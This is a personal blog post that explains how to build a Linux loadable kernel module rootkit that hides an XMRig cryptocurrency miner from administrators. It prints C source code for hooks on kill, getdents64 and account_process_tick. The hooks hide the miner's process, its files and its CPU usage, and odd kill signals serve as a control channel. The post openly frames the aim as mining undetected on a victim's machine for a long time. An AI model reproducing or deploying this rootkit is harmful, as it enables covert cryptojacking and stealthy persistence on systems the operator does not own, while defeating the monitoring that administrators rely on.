Alfonso Astorga

👋 Hi there! I'm Alfonso. I live in Madrid (Spain 🇪🇸). I enjoy writing code, and I like to use to my skills to build stuff at AMGA Ventures: my own software company dedicated to creating micro-digital businesses. If you want to contact me, you can do it via e-mail.

Hiding miners on Linux for profit

Leveraging Linux Loadable Kernel Modules to hide a cryptocurrency miner process and CPU usage.


For the past months, I have been digging and learning how Linux Kernel does work. And what I have learned can be used for good or evil. In this post, I'm going to demonstrate how a malicious actor can leverage a Linux Loadable Kernel Module to make a cryptocurrency miner invisible in the userland.

Linux LKM Diagram
Overview of Linux Operating System running a malicious Linux Loadable Kernel Module and a cryptocurrency miner software

For this demonstration, I'm going to use XMRig, a high-performance, open source, and very popular crypto miner, to mine Monero coin using the CPU intensive RandomX mining algorithm.

Here's a screenshot of what happens when you run a crypto miner:

monitoring processes XMRig
Monitoring the machine processes using htop while XMRig is running

Using htop process viewer, we can see that our crypto miner's process CPU usage is extremely high, and it's using all available CPUs for mining. Now, if you're the system administrator of this machine, how much time would it take you to detect it and kill that process? seconds, right? ;-)

To understand how we will hide the crypto miner before, we must know what happens under the hood when we execute htop, top or any other Linux program to monitor current system running processes.

top program under the hood

As you probably know, if you're a Linux user, the top command provides a dynamic real-time view of a running system. It allows us to know the processes running at the moment.

So, what happens when we execute top in our terminal? to figure it out, we can use strace Linux command to intercept the system calls so we can deeply understand what top is doing.

A system call is a programmatic way a program can request a service from the kernel space, and strace is a powerful utility that allows us to trace the thin layer between user processes and the Linux kernel.

Let's figure out which system calls are top program calling by using strace:

root@vm-ubuntu2004:~# strace -c top -h
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
 40.81 0.000484 7 61 rt_sigaction
 13.32 0.000158 2 68 40 openat
 10.12 0.000120 40 3 write
 9.78 0.000116 4 27 read
 5.99 0.000071 2 30 close
 4.72 0.000056 2 27 fstat
 4.22 0.000050 12 4 getdents64
 3.79 0.000045 22 2 rt_sigprocmask
 2.28 0.000027 1 18 mprotect
 2.02 0.000024 8 3 munmap
 1.69 0.000020 10 2 2 mkdir
 0.76 0.000009 9 1 sched_getaffinity
 0.51 0.000006 6 1 getuid
 0.00 0.000000 0 32 28 stat
 0.00 0.000000 0 60 mmap
 0.00 0.000000 0 3 brk
 0.00 0.000000 0 8 pread64
 0.00 0.000000 0 1 1 access
 0.00 0.000000 0 1 execve
 0.00 0.000000 0 2 1 arch_prctl
 0.00 0.000000 0 1 futex
 0.00 0.000000 0 1 set_tid_address
 0.00 0.000000 0 1 set_robust_list
 0.00 0.000000 0 1 prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00 0.001186 358 72 total

Interesting! Now we know all system calls that top is calling, which gives us a lot of information about how top works. Let's continue to the next section, and we'll know what we can do with this info later.

Hooking Linux system calls

Most Linux programs do system calls to the kernel space, so if we can intercept and modify them, then the Linux programs that depend on them would be affected too.

So, how can we hook Linux system calls? For this demonstration, I decided to use Linux Kernel hooking engine (x86) by Ilya V. Matveychikov. There are more alternatives to do the hooks, but I found this hooking engine pretty good, and plus, it allows us to hook generic kernel functions aside from hook kernel system calls.

Using the Linux Syscall Reference (64 bit) table, we can check out all available Linux system calls that we could hook into it if we would like to.

Building a Rootkit to make our crypto miner invisible

Let's get started! we are going to build a malicious Linux LKM (Loadable Kernel Module) that will hook some system calls and kernel functions to hide our miner so we can make sure that it stays under the radar and we can mine in the victim machine for a long time!

Our rootkit will be coded using C programming language. It only works on x86 architectures and should be compatible with 2.6.33+ kernels.

Hiding miner from processes list and filesystem

To hide our mine process from processes monitoring programs, we must know how this type of program generates its processes list from.

So, how do they do it? Easy! in Linux, the /proc directory stores numerical named directories representing all running processes. When a process ends, its /proc directory disappears automatically.

Now that we know how processes are managed and by analyzing top used system calls (from strace output above generated), we can confirm that top is using getdents64 system call to read processes from the /proc directory.

We also want to hide our miner's executable file in the filesystem to avoid having it removed from the system. To achieve this, we want to make sure that when someone executes the ls command to list directory contents, our miner's executable file doesn't appear.

ls command also calls the getdents64 system call, so it's great for us because all we need is to hook one system call and add a bit of logic code to develop 2/3 of our Rootkit required features (hide from the processes list and hide miner's file from the filesystem).

Hiding miner CPU usage

Hiding miner CPU usage is critical if we want our miner to survive for a longer time.

We can hide miner CPU usage by hooking kernel function account_process_tick. By doing so, we can skip the ticks for our miner's process. Our CPU usage could not be accounted for and would be equal to zero.

Hooking kill system calls for Command and Control (C2)

How can we communicate between our rootkit that is in kernel space and us that we are in userland? we'll need somehow to tell the Rootkit which process ID (pid) we want to hide.

One solution to this issue would be to hook kill system call. kill system call is used to send any signal to any process group or process. For example, you can execute kill -9 <pid> to send a SIGKILL signal to a process to cause it to terminate immediately.

The following is the prototype of the kill system call:

int kill(pid_t pid, int sig);

It takes two arguments. The first, pid is the process ID you want to send a signal to, and the second, sig is the signal you want to send.

In our kill hook, we will use unused sig number 31 to make the target process pid invisible and sig number 32 to make it visible again.

Rootkit source code preview

In this section, I'll show you only the most important parts of the Rootkit source code. For simplicity, I'll ignore things like cross-kernel version compatibility, LKM initialization (module_init), LKM exit (module_exit), and Linux Kernel hooking engine (x86) usage.

You can always view the complete Rootkit source code at GitHub to understand the big picture.

Hooking kill system calls for C2:

We define in the header file PF_INVISIBLE (invisible process flag value), SIGINVIS (kill signal number to make a process invisible), and SIGVIS (kill signal number to make a process visible):

main.h
#define PF_INVISIBLE 0x10000000

enum {
 SIGINVIS = 31,
 SIGVIS = 32,
};

We declare functions find_task (iterates through the list of all the processes to find provided pid), is_invisible (checks if a process pid is invisible by checking if it has a PF_INVISIBLE flag) and hacked_kill (hooks original kill system call and handles our custom signal numbers SIGINVIS and SIGVIS):

main.c
struct task_struct * find_task(pid_t pid)
{
 struct task_struct *p = current;
 for_each_process(p) {
 if (p->pid == pid)
 return p;
 }
 return NULL;
}

int is_invisible(pid_t pid)
{
 struct task_struct *task;
 if (!pid)
 return 0;
 task = find_task(pid);
 if (!task)
 return 0;
 if (task->flags & PF_INVISIBLE)
 return 1;
 return 0;
}

asmlinkage int hacked_kill(pid_t pid, int sig)
{
 struct task_struct *task;
 switch (sig) {
 case SIGINVIS:
 if ((task = find_task(pid)) == NULL || is_invisible(pid) == true)
 return -ESRCH;
 task->flags ^= PF_INVISIBLE;
 printk(KERN_INFO "rootkit: process invisible >:-)\n");
 break;
 case SIGVIS:
 if ((task = find_task(pid)) == NULL || is_invisible(pid) == false)
 return -ESRCH;
 task->flags ^= PF_INVISIBLE;
 printk(KERN_INFO "rootkit: process visible :-(\n");
 break;
 default:
 return orig_kill(pid, sig);
 }
 return 0;
}

Hooking getdents64 system call to hide processes and files from the filesystem:

In the header file, we declare the MAGIC_PREFIX value that we'll use to hide all files in the filesystem whose filename starts this prefix.

main.h
#define MAGIC_PREFIX "xmrig"

We declare function hacked_getdents64 to hook getdents64 system call. As you can see, if a directory name, filename starts with the MAGIC_PREFIX we skip it. If it's a process instead, then we check if it's invisible by using the function is_invisible and if it's, then we skip it too:

main.c
asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count)
{
 int ret = orig_getdents64(fd, dirent, count), err;
 unsigned short proc = 0;
 unsigned long off = 0;
 struct linux_dirent64 *dir, *kdirent, *prev = NULL;
 struct inode *d_inode;

 if (ret <= 0)
 return ret;

 kdirent = kzalloc(ret, GFP_KERNEL);
 if (kdirent == NULL)
 return ret;

 err = copy_from_user(kdirent, dirent, ret);
 if (err)
 goto out;

 d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
 if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
 proc = 1;

 while (off < ret) {
 dir = (void *)kdirent + off;
 if ((!proc &&
 (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
 || (proc &&
 is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
 if (dir == kdirent) {
 ret -= dir->d_reclen;
 memmove(dir, (void *)dir + dir->d_reclen, ret);
 continue;
 }
 prev->d_reclen += dir->d_reclen;
 } else
 prev = dir;
 off += dir->d_reclen;
 }
 err = copy_to_user(dirent, kdirent, ret);
 if (err)
 goto out;
out:
 kfree(kdirent);
 return ret;
}

Hooking account_process_tick kernel function to hide CPU usage:

We declare function khook_account_process_tick to hook kernel function account_process_tick and we skip the tick for invisible processes by checking if tsk->flags contains PF_INVISIBLE flag value:

KHOOK(account_process_tick);
static void khook_account_process_tick(struct task_struct *tsk, int user)
{
 if (tsk->flags & PF_INVISIBLE) {
 return;
 }
 return KHOOK_ORIGIN(account_process_tick, tsk, user);
}

Final result

Miner process and CPU usage are hidden:

monitoring processes XMRig
When our rookit is loaded in the system, the miner will always be flying under the radar!

Demo

Quick live demo showing how it works:

Thanks

Huge thanks to Harvey Phillips for his series of blog posts on rootkit techniques and Ilya V. Matveychikov for his Linux Kernel hooking engine used in this demonstration.

ducks

🏡 Go back home

🔐 PGP: 027D 6BCE 3F4C BD72 2E92  7043 9A46 DEF5 2279 1B79

© 2024 Alfonso Astorga